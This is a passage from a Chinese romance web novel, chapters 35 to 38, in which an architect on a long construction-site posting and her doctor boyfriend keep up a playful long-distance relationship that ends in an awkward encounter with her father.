第35章一点都没错! 金利地产位于F市的新建工程,算是集团今年最为重视的一个项目,虽然定位只是B标,但在房地产不景气的今天,能拿下一块地皮都尤为不易,更别说项目一旦启动就是几十亿的投资,前期要考量的因素可想而知。 早在半个月前,集团甲方就提出,可能需要中寰这边派建筑师过去驻场,跟踪工地一段时间,只是一直都还没有敲定下来。 直到今天傍晚,准确的指令才正式下达。 喻了了是被指定要去的。 因为负责这次项目的甲方之前合作过,对她的印象也是偏踏实肯干的,遇到问题,能解决就认真解决,解决不了也绝不逞能掩盖,可能并没有那么圆滑,但也绝不会没事搞事。 这种品质相较于职场,其实会更适合工地,对方早前还曾玩笑似的问过她,考不考虑跟着他“转移阵地”。 虽说是受到了“赏识”,但喻了了真的一点也没法开心起来,饶是她不怕苦不怕累,听到要在工地呆一个多月,整个人也是有点不太好的。 更别说她满打满算也才刚刚恋爱小半个月,这就要她撇下把如花似玉的男朋友去征战沙场,真的不会太过分吗啊呜呜呜…… 战略会议结束后,她捂着胸口回到工位,当即就把这个噩耗传达出去,准备邀他上楼一起抱头痛哭,哪知伤心欲绝的好像只有自己一个。 微信喊了半天,他都没有一点要松动的意思,最后下班回家,也仅仅只是让她在车里多啃了一会儿而已! 因为这事,第二天出发的时候,她都是赌着气走的! 本来心情就差,又在机场看到胡明宇那张脸,直接就黑化了,一路都保持着非常愤怒且凶狠的目光,企图用眼神杀死他! “干嘛!”机舱狭窄地无处可躲,胡明宇被盯得受不了了,只能试图辩解:“又不是我陷害的你!” 喻了了根本不听:“就是你乌鸦嘴!” “……” 虽然可能是有一点,但:“你想也知道啊,驻场这种又苦又累的活儿,级别高的不可能去,级别低的去了又不成事,肯定就是从我们几个里挑啊。” “再说你又不是一个人,我这不也遭殃了吗?” “哼。”她完全不屑:“还不如一个人呢!起码不用因为看到你这张脸生气!” “差不多得了。”胡明宇也不爽了:“你再盯着我,我的嘴可又要开光了。” “……”喻了了惊了。 他像是发现了什么bug,顿时就兴奋起来:“你说,你就这么把男朋友放家里一个多月,他会不会背着你唔——咳咳咳——” 喻了了一个手刀,半秒不到就成功锁喉,见人咳得脸红脖子粗,一时半会儿都说不出来话来的样子,这才勉强顺了点气,却好像还是有被他的话影响到。 她回过身来,越想越有点疑神疑鬼……- 时霁一早就得出诊,所以没法赶去送人。 坐了小半天门诊,算着时间也差不多了,就发消息过去问了下,那边回得倒是挺快的,就是画风忽然又变得有点奇妙。 喻了了:【下飞机了,正在去酒店的路上,放下行李就要去工地了】 【你要老实一点哦,虽然我现在不在H市,但我可是有眼线的,要是被我发现的话,后果会很严重的!】 【回头再看一眼.jpg】 【我会一直盯着你的.jpg】 “?” 时霁扬了扬眉,有种自己说出的话被打回来的感觉,想起她当初的反应,便也佯做不知地问:【发现什么】 这会儿倒是融会贯通了,之前到处给人送衣服的时候,自己怎么就没有这种觉悟? 但喻了了显然就能直言不讳很多:【拈花惹草啊】 昨晚光顾着啃了,都没来得及交代:【不可以把联系方式给别人,不可以收别人送的礼物,也不可以盯着其她异性乱看知道吗?】 他啧了一声:【我什么时候给了你“人缘”这么好的印象?】 喻了了:【一直都有啊】 她随便一想就是,隐居幕后的富婆姐姐,隔壁科室的实习医生,数不胜数的美女患者,就连下班过去接她都会被公司同事搭讪! 他冷笑了下,也借着这个由头较上劲了:【别逼我数你身边到底有多少男人】 远的都不用说,就单论她现在要去的工地,怕是方圆几里都找难有几个同性吧? 【那我不管】 她说不过就赖:【反正你得管好你自己】 他咬牙,一字一顿:【你也是!】 …… 两人“吵完一架”,很有点不欢而散的意思,半天都没再联系。 直到午后,时霁忙完回到科室办公室,看到桌前正在大快朵颐的周晨,这才似有所感的,拎起外卖袋看了眼说:“喻了了点的?” 桃源斋的甜品,单包装看着就价值不菲,绝不可能是他自己买的。 “昂。”周晨炫得声音都是含糊的,倒是没忘要美化一番金主:“不是我说,你女朋友是真大方,这前前后后为了哄你,连给我也没少花钱。” 时霁嗤了一声,还算受用的等他咽下这口,才漫不经心地敲了敲桌面:“我的呢?” “什么你的?”周晨警觉起来,立刻把剩下几块都咬了一口后,才抬起头来说:“只有我的!” 时霁迟疑了下,拧眉看他:“?” 周晨解释:“听不懂吗?她只给我点了,没有你的!” “……” 他顿了半天,都愣是没法接受这句话暗含的逻辑,只能又摸出手机,点开某人的头像质问:【要造反?】- 喻了了放好行李,就一头扎进了工地,收到消息也只顾得上回了句【现在在忙】,然后就把手机揣回兜里,穿好雨靴,戴上安全帽,跟着工地负责人里里外外转了一圈,大致对接完现场情况,再回到酒店时就已经天黑了。 她匆匆洗了个澡,又把头发吹干,终于靠到沙发上翻牌子时,指针刚好转过十点。 本来是要打字的,转念一想,立刻就变成视频通话突击检查。 时霁听到铃声,随手便接听起来。 他坐在书桌前,身后是一片黑暗,只隐约能看到一排书架,桌上的灯光应该从侧面点亮的,暖黄光晕只在铺了半边脸上,把本就深邃的轮廓衬得更加立体。 看样子也才刚洗完澡,额前发梢还渗着点儿水渍,眉眼也还保有被浸透过的清爽,薄唇却有些红润,在光影的作用下异常突出,下颌瘦削,喉结锋利,平直锁骨一路没进黑色的丝质睡衣…… 她呆愣地看了会儿,眼里满是误入成人世界的新奇与刺激,不觉舔了舔唇,有点想咬…… 他架好手机后戴回眼镜,对上她的视线,眼却眯缝地更深:“喻了了,你小心一点。” 她还是呆呆的:“啊?” 他轻哂了下:“被封号别连累我。” “……” 她这才哼了一声:“那也应该是你连累我啊!穿这么暴露!” 他往后靠去,懒怠抬眸:“我露哪儿了?” 她噘着嘴,眼也不眨地说:“脸啊,喉结啊,锁骨啊!” 他嘴毒得没有下限:“你干脆给我买个棺材盖上算了。” 喻了了还转着眼珠想了想,发现确实不太能接受:“那不行,我又还没看够!” 他啧了一下:“意思等你看够就要把我埋了?” “那也不是。”她抓了个抱枕垫着,又很认真地想了一下,本来想说我应该是不会看够的,又不想因此让他发现自己真的很勾人,再故意穿这么暴露出去来气她,就又换了副很严肃的神情说:“要是你老老实实,只给我一个人看的话,就算看够了我也是不会把你埋掉的!” 时霁被她强大的逻辑征服,几乎气笑:“那我还得谢谢你了?” “嘿……” 她像是被夸到了一样笑起来:“不客气。” 他顿了顿,还是气不过:“管我这么严,自己能不能也按这个标准来?” “我怎么了?”她不解道。 “还怎么了。”他冷笑道:“给别的男人点外卖,自己男朋友却没有?” 她眨了眨眼,也有理有据:“那我不是要让他帮我看着你嘛,但我又还在生你的气,就不想给你点啊。” “……” 他到现在都没搞懂:“要把我丢下一个多月的是你,我都没气,你气什么” 她偏过头:“气你都没有舍不得我啊!” “怎么没有?”他还从来没觉得有这么冤过:“喻了了,讲道理,昨晚除了没让你把衣服扒了,还有哪儿是不如你意的?” “对了!”她像是被提醒了一样,又回过头来补充:“连衣服都不让我扒!还算什么舍不得我。” “……” 他彻底无言。 体感她现在就是觉得人不在面前,吃准了自己拿她没办法,就越发无法无天了! “行。” 他咬牙:“你给我等着。”- 两人就这样,自打异地起,就开始了为期小半月的“三天一大吵,两天一小吵”。 让喻了了更加坚定了异地这件事是有多么的不可取!每天更是上班如上坟,一睁眼就是深深的无力感。 但就算这样,该干的活还是一点都不会少,只要踏进工地,不管精神有多萎靡,接踵而至的事情都能把人逼得回光返照。 她每天一起床就是匆忙洗漱,不到8点就得抵达工地。 先要看一遍图纸,再去和施工方传达当时这个设计点是怎么样想的,又该怎么施工;然后就要去挑材料商送来的材料小样,是否与当初设计的效果一致或相近,如果有出入或却样,还得自己跑一下材料市场去找样;再就是穿着雨靴在满是泥泞的工地里来回走动,去了解项目场地以便踏勘、观察,看看施工过程是否存在问题;还要在这些周而复始的工作里挤出时间,穿插忙活手里的其它项目。 顺利的话,每天晚上大概10点就可以下班,但如果出现问题或者有什么变动,就还得去和甲方一起开项目会,动辄就是熬夜通宵。 所以驻场虽然看着自由,不用上下班打卡,事实却是变相的007,不仅有事得随叫随到,连周末也被尽数取消。 她每天早出晚归,累得连脸都懒得洗,半个月下来,都是面朝黄土背朝天,仿佛又做回了原来的那个自己,以至于晚上回酒店,连视频都不太敢开。 也不知道到时候回去,他还认不认得出自己。 …… 工地驻场累且枯燥,每天 都是差不多的事,但又每天都忙不完。 在这种环境下待久了,无聊到快被逼疯时,有时候倒也会发生些人为制造的“趣事”。 这天现场才进完一批材料,喻了了往后撤时没注意到身后有人,一不小心就把正在对图纸的胡明宇撞倒在泥地里。 虽然确实也没什么悔过之心,她却还是很表面的道了声歉,自觉已经做得很到位了,没想到他居然还是记仇了。 隔了会儿,他忽然就指向不远处的升降梯,大喊了声:“喻了了,快看那边——” 她毫无所觉地看过去,然后就冷不丁被人从身后推了一把,也摔进了泥地里…… 等她灰头土脸的爬起来时,他的表情也蛮震惊的,显然是没想到会摔得这么狠,毕竟从来也没见她下盘如此不稳过。 他自知闯了大祸,转身就想跑,却还是被喻了了一把抓住,然后两个二十好几的成年人,顿时就跟小学生似的扭打在了一起。 几分钟之后,又化身成两个活体泥人。 最痛苦的人,两人都还要顶着这样一身泥在工地忙活一天,下午坐在临时休息室里办公的时候,浑身脏兮兮又黏糊糊的感觉,别提有多难受了! 两人一想起来,就要抬起头互瞪一眼,仿佛只有看到对方也这么难受才能舒坦一点似的,再回过头来继续工作。 好不容易熬到晚上,身上的泥倒是干了不少。 胡明宇体感自己整个人都变“紧致”了,下车往大堂走的时候,还兴致挺好的嘴了一句:“你说有没有可能,我们一会儿洗完就会年轻两岁啊?” 还年轻两岁。 喻了了扭头就想给他两脚! 她腿刚抬起来,就猝不及防和大堂沙发上坐着的人对上视线,然后整个人就彻底凝固了…… 几秒过后,才像是石头人忽然苏醒了似的,回过头来,目视前方,很卡地往电梯厅里移动。 刚来到电梯面前,衣领就从后方被提溜起来,一道冷淡的声音随之响起:“去哪儿。” “……” 她埋着头,试图再从身上蹭点泥,并背对着人夹住声音,用一种近乎机械的娃娃音说:“先生,您是不是认错人了?” 时霁半俯下身,透过她的肩膀看向电梯光面镜,仔细辨认了下,才仿佛的确如此地重复了句:“认错了?” 对对对! 她梗着脖子猛猛点头。 “行。” 他直起身,松手往后退开一些,半点也不强求:“那我还是回去吧。” “啊……” 喻了了一秒抬头,转身就是一个虎扑,直接跳起来挂到他身上:“没错没错!一点都没错!” : 第36章 第36章像现在这样。 她就这么趴在他肩上,也不管边上其他人的诡异目光,就支使着人把自己一路熊抱回房间。 等房门关上,又迅速从他身上爬下来,一溜烟把自己锁紧浴室,再从里面大喊了声:“你在外面休息一下,我洗完就出来!” 她在这里住了一段时间,常用的洗漱用品都在浴室,正常情况下,从门关上的那刻起,到全部洗完钻回被窝,拢共都用不了20分钟。 惯性使然,她也是在把衣服扒光,站在淋浴间里把泥垢全部冲掉,准备开始下一个流程时,才惊觉自己这段时间过得有多简陋…… 她看着壁龛上酒店提供的劣质洗发水和沐浴露,第一次对它们感到嫌弃,小小纠结了下,很快就摸到门口喊人:“时霁,你能不能帮我拿个东西?” 他刚脱完外套,正对着玄关的全身镜清理身上的泥垢,闻言回了下身:“什么?” “嗯……”喻了了躲在门后想了半天,才隐约记起早就被自己遗忘的个人用品的大概位置:“应该是在电视机下面的柜子里,有一套洗护用品,你看下有没有?” 他依言走过去,把底下的几个柜子都翻了一遍,最后是在厨台上方的吊柜里找到的,沉默一息,才不理解但尊重地问:“无花果的这个?” “对对对!”她虽然洗了脸,但这会儿对自己的形象还是没什么把握,打开门锁后,便只探出一只手,冲外头晃了晃说:“给我一下叭。” 时霁低眸,便是一只纤细修长的手臂,本就白皙的肤色,因为过度冲洗而隐隐有些发红,湿漉漉滴着水冲他招手的样子,更无端就有点儿正遭受着某种“虐待”的既视感:“……” 他下意识偏头,胡乱把东西往里一塞。 喻了了一只手却拿不住,啪啪就掉了一地,他不得已又回头,见那只手正在地上一通摸索,无奈叹了口气:“站门后去。” “……哦。” 等人退开,他才走近一点,捡起散落在地上的几只塑料瓶,把东西从门缝里递进去,再从外头把门关上。 回到房间,刚在单人椅上放空了会儿,里头又传来声音:“时霁,再帮我拿个东西可以吗?” “……” 他沉出了口气说:“什么?” “书桌上有个打开的化妆包,你把边上的东西都塞到包里,然后帮我拿过来。”天知道她已经多久没有护肤了,甚至连包里大概有什么都快忘了。 时霁再次照做。 没过多久,声音又响起来:“床头柜上,好像有瓶身体乳,也帮我拿过来。” “……” 这次的手臂已经擦干,但清洗过后肤感仍然晶莹,少了水渍的阻隔,斑驳红痕愈发像种隐喻。 要不是知道她天生钝感十足,他都要怀疑这是什么奇怪的招数了。 喻了了接住后再次关门,加快速度做完最后的护理,又对着镜子照了一通,一转身却又呆住了。 “时霁……” 再一次听到声音时,他其实都有点麻木了,起身就准备去翻柜子,却没想到她还能玩出新花样:“你可以站到墙边,稍微面壁思过一会儿吗?” “……?” 她自己都有点虚:“我忘记拿衣服了。” “……” 这段时间房间里就她一个人,自然就是怎么方便怎么来,而且裹着浴巾出去再套衣服本来也没什么不对,刚刚又因为急着进浴室,一时就没想起这茬。 现在虽然也可以让他帮自己拿,但她缺的也不仅仅只是睡衣,还有贴身衣物呀…… 时霁愣了一下,随后也不知是刚刚被锻炼了几次,有点耐受了,还是在被挑衅了半个多月后,积压了点儿情绪。 这一刻忽然就生了点作弄心理,半倚着墙,兴致不错地说:“扒我衣服那么果断,到自己这儿就开始保守了?” 喻了了摸了摸耳朵,感觉自己好像是有点双标,倒也都还能商量:“那等我穿上再给你扒可以吗?不然直接就这样光光的出去好像有点奇怪。” “……”时霁惊了。 她想了想,又很严谨地补充:“但是你也要给我扒噢,不然只有我一个人光光的也会有一点奇怪。” “……” 他彻底服了,顿时就有点后悔为什么要挑战她的尺度,搞得自己就像个没见过世面的愣头青一样,话都不知道该怎么接。 半晌才吁了口气,沉声说:“一分钟后出来。” “……哦。” 时霁几步走向阳台,出去后从外头把窗帘拉上,再重新合上推拉门,转身撑着栏杆,从上空俯瞰这座陌生的小镇。 据喻了了说,现在城市高度发展,新开发的工地一般都比较偏远,高楼建起来之前和废墟也没什么区别。 离工地最近的酒店,也就是这里,其实就是个有些乡土化的农家院舍,稍微改造一下就对外营业了,缺点是没什么高级感可言,优点倒也明显,宽敞通透、视野开阔,夜晚的室外,错落的灯火织成一片宁静祥和的风景,抬起头时,还依稀可见星光点点。 他吹了一会儿夜风,神思倒是清明不少,可等身后再有动静,回头望去的刹那,这风便又白 吹了。 喻了了拉开阳台门,从里探出半个身子,利落的五官被月影渲染地柔和了几分,神情雀跃,眼底微亮,扒着门框望过来的样子,像正翘首以望,等他回家。 如瀑长发随风荡开,寂静的夜便盈满馨香。 时霁滞了片刻,才转身回到室内,不过把门窗关好的功夫,面前的人已经迫不及待,张开双臂就要往他身上跳,被他伸手定住,无情制止:“还想再洗一次澡?” 身上的泥垢虽然已经清理掉了,但显然还没达到他的卫生标准,她却不管不顾,直接把手挡开,只一秒就又挂回到他身上,像只树懒,胡乱蹭着他的肩说:“再洗就再洗!” “……” 怀里蹿起一从温热,他下意识将人托抱住,像被暖流包裹地有些无所适从,恍惚地定格好几秒后,才抱着人回到沙发。 喻了了便就这么跨坐在他身上,双手环着他的脖颈,却还是觉得距离不够近似的,又抱得更近了一点,半天也不肯抬头。 她以为再见到人时,自己一定会在第一时间就先啃上一顿!但等这一刻真的发生,却发现想要拥抱的冲动才更强烈。 她闭着眼睛,想以此感知他的体温,确定这一刻的真实,并时时刻刻被这种充实的感觉所环绕,然后无比满足地感慨:“时霁……我真的好喜欢你啊。” 时霁这会儿的感觉,就像是喜提一个贴身挂件,还是智能的那种,只有让她近身才肯乖巧听话,一旦分开就要耍闹打滚。 好比现在,突然表白的时候,就仿佛这段时间天天挑衅着要吵架的人不是她一样。 他搂着人,确保乖巧模式开启,才忽然刁难似的回:“喜欢我什么?” “很多呀。”她却完全没有被为难到感觉,窝在他怀里的时候,滤镜总能有十倍厚:“首先是长得好看,非常好看!然后是脾气好,很有耐心,不仅不会烦我,还会让我想干嘛就干嘛!接送我几个月都没有嫌累,还会在我想见你的时候突然出现!” 老实说,她其实很少会有类似被“保护”的感觉,从小到大都是她领头,后面跟着一帮“小弟”,从来都是她保护别人,也就从来没人会像个港湾一样,每天都在同一个地方等着她。 会警告她受伤就要老实一点,会冒着暴雨把她完好无损的送回家,会因为她想见面就每天打卡似的出现,虽然嘴上总说“不行不要不可以”,却又还是会不远万里突然就跑来找自己。 虽然刚刚在楼下碰到的时候,她的确也有一点被吓到,但显然还是喜要比惊大得多的多! “反正我就是觉得你哪里都很好。”她这才松开一点,转而捧住他的脸,很认真地看着他说:“就是很喜欢很喜欢很喜欢你!” “行。”他勾了勾唇,一副看到你这么瞎我也就放心了的样子,吻了吻她的唇角,鼓励道:“继续喜欢。” “嘿……”她摘掉他的眼镜,也亲回去一下,然后也开始有点期待:“那你呢,喜欢我什么?” 他扬了扬眉,有点儿故意地说:“眼光好。” “……” 她还真的跟着理解了下,才睁大眼睛反应过来:“那你还是在夸自己啊!” 说完才开始不爽,赌气地偏开头去,一副你果然就是不喜欢我的样子,把手放下来,准备从他身上爬下来。 “啧。”他把人摁回原位,又伸手囊住她的下巴,把脸掰回来,也不顾人还在生气,就低眸咬住她的唇:“脾气这么大。” “我说夸完了么?” 她被咬得唇齿轻颤,呼吸亦有些停滞。 面色还是绷着的,却又很没有就这么把人推开的骨气,只能由着他把齿关抵开,让呼吸漏出来,有一下没一下地吻着。 他一手搭着她的后腰,指尖细细摩挲着脊骨,把人抚得身体软了点儿,就快要忘记自己在气什么时,薄唇才经由她的唇角、鼻尖、脸颊,轻缓游弋至耳畔:“喜欢你可爱。” 温热吐息带着点儿呢喃的意味,像低缓迷离的音节,逐字逐句地响起来:“让人没法抗拒的,非常强悍的可爱。” 喻了了被激得浑身一颤,很有种被烫到了的意味,过电后的绵软感自耳窝发散:“……” 她其实也不确定这是不是夸奖,毕竟也没谁会用“强悍”这样的词来表达喜欢,却又不知道怎么,邃然就红了脸。 时霁低眸看着,不觉勾了勾唇,像觉得有点神奇,不懂连互扒衣服这样的话都说得出来的人,为什么会在听到可爱之后感到害羞。 却犹觉不足似的,又将呼吸绕回来,碰着她的唇,补充:“像现在这样。” “……” 她像被施了什么符咒,整个人都定定的,除了脸越来越红之外,什么反应都做不出来,被抵着额角唇齿相贴时,也像是忘了该怎么亲一样,只闭着眼睛,由着他攻城略池。 密闭的房间一时安静无虞,空气里徒余暧昧难言的旖旎水声。 她一而再地被迫仰头,不时溢出的绵软哼吟,犹如某种隐晦的招惹,听着低缓轻柔,却在不知觉中,就将他的防线击得摇摇欲坠。 然后亲吻愈深,呼吸愈烫…… 不知过了多久,相连的唇瓣才终于难以维系似的剥离些许。 喻了了婆娑着眼,感知到异样,又隔了一会儿,才艰难地平复好呼吸,有点纠结地抠着他的脖颈说:“时霁,我们……要不要那样?” 他抵着她的肩窝,笑起来的呼吸滚烫:“哪样?” “就是那样啊……” 这其实也不是第一次了,从在海边表白那天起,她就隐约有一点感觉,后来每次在车里,爬到他身上亲的时候,感觉都很明显。 虽然还是有点不好意思,但她也不想看他一直都这么难受,而且情侣那样本来就很正常,现在又刚好就在酒店里…… 她顿了下,很快就调整好心态,并用一种能够肩负起责任的口吻说:“我来的时候就有看到,床头柜里都有放那个,也、也不用再出去买了。” 他又笑了会儿,像觉得她强撑着一本正经的样子还挺好玩的,半晌才抬起头来,同她确认:“不会太快?” 她眼神飘忽了下:“……好像是有一点。” 虽然刚才在浴室讨论互扒衣服的时候还挺坦然的,但真的要事到临头,她才发现自己好像还是有那么一点点怂,但她又不想让他觉得自己不愿意,便又坐直了些,用一种“我肯定是想的,但主要还是看你”的语气说:“那、那大概多久才可以?” 时霁向后靠去,饶有兴味地盯着她看了会儿,随口试探:“三个月?” “……哦。”她很认真地想了一下,心里感觉也差不多,但为了表达自己的迫切,就还是强行补了句:“会不会太久?” 他扬了扬眉,毫不犹豫地让步:“两个半月?” “……” 她赶紧掰着手指数了下,两个半月,也就是在自己结束驻场回去之后的几天后!真的已经不能再少了啊!!! “好吧。”她果断就此打住,一副既然这样我也就不再勉强你了的表情,磕磕巴巴地说:“那、那就再过一个月零14天,我就睡你!” “行。” 他点点头,忍着笑把人搂近,又顶着副生怕被辜负的神情,低低地说:“我等你。” 第37章 第37章我们现在就做吧。 闹钟响起来的时候,喻了了惯性翻了个身,摁掉准备再眯一分钟,三秒之后却猛地睁眼,迅速爬起来环顾了下四周。 感知着室内未尽的暧昧气息,一时却仍没法确定,昨晚的一切到底是不是梦。 她摸着手机从床上下来,边往洗手间走,边犹豫地发出一条消息:【时霁,你醒了吗?】 大周末的,现在才刚刚7点,哪怕他平时就是这个生物钟,突然把人喊起来其实也还是有点残忍,但想到自己马上就又要去工地,下次见面又不知道是什么 时候,她就还是有点忍不住想把人摇醒。 哪知含着牙刷正准备发第二条时,对面就回了消息:【嗯】 “!” 她睁大眼睛,立马就用比平时还要快1.5倍的速度洗漱完毕,脸还没干就跑了出去,啪啪啪地敲响了隔壁的门。 里头像是知道会有此一劫似的,不到两秒就把门开了,懒怠地站在门后,身体舒展开来,准备承受袭击。 喻了了一溜烟就蹿了进去,连脸都没看清,就一把把人摁到墙上,一副很赶时间的样子,捧着脸就是一顿疯狂输出:“mua!mua!muamuamua——” 一处不留地把整张脸都亲了个遍,脚尖落下来的时候,刚好看到滚动着锋利喉结,半秒都没犹豫,凑上去就狠狠啃了一口。 “嘶——” 时霁一口气差点没提上来,睁眼就看到肇事者爽朗地松了劲,身体往后退了一步,拍拍屁股就准备走人。 顿时便伸手,没好气地把人捞回来,反抵在门框与墙根的死角处,一手扣住她的腰,一手扼着她的后颈,薄唇不由分说地倾覆上去。 喻了了下意识抱住他的腰,脖颈向后仰去,唇瓣自然翕张,顷刻便被闯入阵地,沁凉的薄荷味倾略性极强的,只一瞬便在感官里炸燃开来,把人烧得脸颊通红,呼吸滚烫,却又隐隐透着点儿食髓知味的难耐。 细密的哼吟溢出来,连同急促交换的水声,又像是一种天然的媚药,无端就把身体透支得颓靡、绵软、站都站不住…… “喻了了!赶紧的走啦——” 忽然响起的拍门声,如同催人梦醒的闹铃,顿时便把人激得烦躁不已。 她气愤地抽离开来,却有点又戒断艰难,只能抱着人再反复贴触几次,才终于破釜沉舟似的松开,猛地拉开房门独自往外。 刚走出两步,身后又传来声音:“喻了了。” 她回头:“嗯?” 他手里不知何时多了个袋子,开口处还隐约冒着热气:“拿着。” “什么?”她愣了愣,才反应过来:“你什么时候买的?” “啧。”他被问得都不知该怎么答了,便有点故意地说:“昨晚。” “……” 她嘴上哼了一声,心情却邃然好转,抱着早餐再次准备离开,一转身却看到胡明宇手还举在隔壁房门的半空,一脸惊呆了的模样,毛骨悚然道:“……你这么狠?” “?” 他本来还疑惑两人都一起住了,干嘛还要重新开房间,直到看到时霁从后头跟出来,堪称凄惨地倚着门框时,才顿觉她怕不是搞得太过,把人吓得半夜逃难到另一间,一大早却又杀过来了吧…… 喻了了不明所以地回头,这才发现他的衣服早已被揉得乱七八糟,喉结乃至半个脖颈,都遍布着从昨晚延续至今的啃咬痕迹,刚刚剥离开的薄唇有些潋滟,可即便如此,唇角噙着的血丝却还是异常显眼…… 她惊恐过后,第一反应竟是生怕被人看去了似的,立刻就把人推进屋,并郑重交代:“下次记得把衣服穿好再出门!” “……” 这惨遭家暴还无处申冤的辛酸程度,简直震撼胡明宇100年!- 今天周末,喻了了又已经连续工作了半个多月,按理说请个假其实也能说得过去,但这几天刚好约了一批材料商,陆续都会有人过来送样和进场,现场就也得有人配合对接,才能保证材料供应跟上施工进度。 这块工作又基本都是她在负责的,所以最后也就没法抽身。 本来还有点过意不去,但时霁在这种时候脾气是真的好到没边,大老远坐飞机过来,仅仅只过了一夜就得回家,居然真的连半句怨言都没有,还会反过来宽慰她说,这里好像也没什么好玩的,多留一会儿也就那样。 这里的确是没什么好玩的,就算有她其实也并不清楚,又不太好擅自把人带到工地,最后就只能让他到家要记得给自己发消息。 她叹了口气,收回手机,赶在抵达之前把早餐吃完,一下车,就是崭新而又重复的一天。 戴上安全帽,穿上雨靴,再带着图纸满工地跑。 日子就这么说快也快,说慢也慢地继续着。 这天给她带来的最大影响,大概就是让她把周六的闹钟拎了出来,单独设置得比平常早了一个小时,以此来确保每周六出门之前,都能有足够的时间把自己收拾的好一点。 这样的话,如果有惊喜来临,总不至于再那么措手不及。 即使他其实并未与她约定过什么,她也没有提出过“之后每周都要来找自己”这样的要求。 他当然也有自己的事情要做,哪怕是周末,也时常需要参加一些考试、会议和论坛,偶尔也会出差,去进行学术交流和医学培训。 所以她也有在尽量让自己不要对此抱有期待,虽然每逢这天好像也都会特地走得早上一些。 他也从不和她交代这些行程,像是怕她因为要赶时间而出什么差错,或者干脆连班都有没心思上了,却又几乎从未让她落空过。 每逢周六,固定都候在大堂等人。 只有一次,因为确定没法出行,才提前报备,让她别等。 然而这时,距离驻场结束拢共也就没剩几天,喻了了确实也是有点感伤不起来,尤其是那会儿她还刚好在看回程机票,听到这话,直接就找到个理由,又把行程提前了半天。 胡明宇表示难以理解,反正都最后一天了,也不会再有什么实际的活儿要干,施工方还说晚上要请客吃饭,那就等吃饱喝足,第二天睡到自然醒之后再回去,有什么不好?还非得着急忙慌回酒店收拾,抵达就是深夜不说,第二天还得早起回公司上班。 喻了了当然也没指望这个单身狗能跟自己共情,所以二话不说就撇下他,自己一个人提着行李先走了- 落地H市已经是1月中旬。 饶是地处南方,也已经彻底进入深冬,机舱与地面衔接的夹缝里的冷风,都能吹得人浑身一凛。 喻了了便像是要运动生热般,一早就背好了包,只等舱门开启,就一溜烟蹿了出去,第一个拿到托运行李后,又用最快的速度飞奔至到达层,在出口见到人第一时刻,果断把行李往边上一丢,蹦起来就又是一个结结实实的虎扑:“我回来啦——” 时霁现在有了经验,提前就会调动好核心,否则照着这越来越大的惯性,还真有可能直接就被扑飞出去。 可饶是如此,他也还是往后去了半步,才勉强稳住。 他低缓地吁了口气,抱着人原地缓了会儿,等气管里聚的那一阵咳淡去后,才用一种居然又多活了一天的语气问:“还要挂多久?” 要他抱着回去是没什么问题,前提是她自己能不能好意思了。 喻了了闻言,不满地“唔”了一声,又狠狠在他肩上蹭了两下,才慢吞吞地爬下来,直到他主动过来牵手,连人带行李一起往外领时,才又重新缠上去,抱着他的胳膊笑起来。 他偏头看过去,不觉也有些好笑:“饿不饿。” “刚刚在飞机上吃过了。”她摇头。 “不再吃点?”他又问。 “不吃!”她果断拒绝,并很有主意地说:“我要直接回家!把前几天没亲到的先亲回来!” 他勾了勾唇,一副却之不恭的模样,没再阻拦。 …… 关于今晚要怎么过,喻了了已经想了整整一路,不痛不痒的吃饭看电影肯定不行,但要做点什么的话,对场所就比较有限制。 车里太挤施展不开,那就只能是家里! 确定目标之后,她就带着这种笃定而迫切的心情,又煎熬了整整一个小时,一进门,急得连灯都顾不上开,就直接把人摁进墙根啃了起来。 时霁靠着墙承接了会儿,直到最剧烈的那阵过去,她强势摁着人的身体也隐隐有些绵软到支 撑不住,他才重新将人托抱回腰间,就这么一路啄吻着回到客厅。 刚坐下来,她的手就开始不安分地向下游弋,覆着他胸前的薄肌,颤着声音说:“要不然……我们现在就做吧。” 他下意识便捉住她的手,虚睁着眼,呼吸也有些不稳:“嗯?” 喻了了挣了一下,继而不顾阻拦贴触到腰腹,感到到肌肉猛地收紧,又安抚似的摩挲两下,才红着脸重复:“……就是直接做呀。” 她并不是个太纠结的性格,虽然第一次提到这事时是有点紧张,但自那之后也算是有了心理准备,并且随着时间的临近,心态也有点从忐忑变成期待的意思。 包括他后来再去找自己时,其实有好几次都已经触到防线边缘,却又因为既定的时间还没到便堪堪止住,然后这种“明明直接就可以却又不”的感觉,又把她憋得有点耐心不足,闷躁不已。 想到这儿,她便又抵近了些,狠狠抓了把他的腰,意有所指地说:“你都已经这样了!而且两个半月本来也快到了,也没有一定就非得等到那天呀。” “……” 时霁本来就有点临界,又被激得仰头倒吸了口凉气,扣在她后颈的手掌青筋毕现,哑着声音开口时,仅剩的理智只够再问一句:“你确定?” “嗯。”喻了了点头,吻着他的下颌说:“确定!” 话音落下,手心便从外探进衣摆,真实触摸到贲张肌肉的同一时刻,主卧房门唰地从内打开,客厅开关被啪一下拍响。 瞬息之间,天光大亮。 两人猛地向后望去,对上第三人视线的刹那,惊疑的表情和交叠的身影,便活像被捉奸在床了似的,吓得当场痿掉! 喻了了挡在时霁跟前,明明心虚得要死,说话的语气却仍是惯性的嚣张:“谁让你回来的?!” 对面暴怒的浑厚男音也当仁不让:“老子回自己家还要经你批准?!!” 第38章 第38章压上半条命。 喻坚强出公差回来已经有几天了。 开门见家里没人,也根本没来得及担心她是否被拐,邻里邻居的温情关怀就已经送达:“回来啦?” “哎哟那还真不巧,了了这段时间也出差去啦!” 同时送达的还有:“闺女出息啦!最近处了个对象,那小伙模样俊的哟,人还体贴,每晚下班都给亲自送到家门口,风雨无阻的,这回是真不愁嫁咯!” “你咋知道人一定是自愿的?保不齐又是咱闺女给绑回来的呢?” “不能吧……她虽然是虎了点,花了点,也总不至于看上个人就往里家里拐吧? “怎么不至于?”说话的人看向喻坚强,求证似的说:“是小学那会儿吧?也是看上了个同学,见天就威逼利诱地把人哄回家,吵着嚷着就要娶他!哎哟,那小崽子就丧着个脸跟在边上,别提有多可怜哟……” 喻坚强听罢,也没太当真。 虽然小学那会儿确有其事,实情甚至比邻居描述的还要夸张,但自那小子转学离开,喻了了以此同他大闹一场,反被他按着脑袋灌输了几波法律法规后,这事她后来就没再干过。 且邻居们一旦八卦起来,多少都有点儿添油加醋,早些年他就没少吃过这方面的亏,所以现在通常也就随便听听,再笑笑了之。 却万万没想到,事态竟然远比传言还要严重! …… 夜里十点。 他沉着脸居于主位,带着深夜刚入眠就被吵醒的薄怒,和面前差点就要在自家犯事的两人对峙! 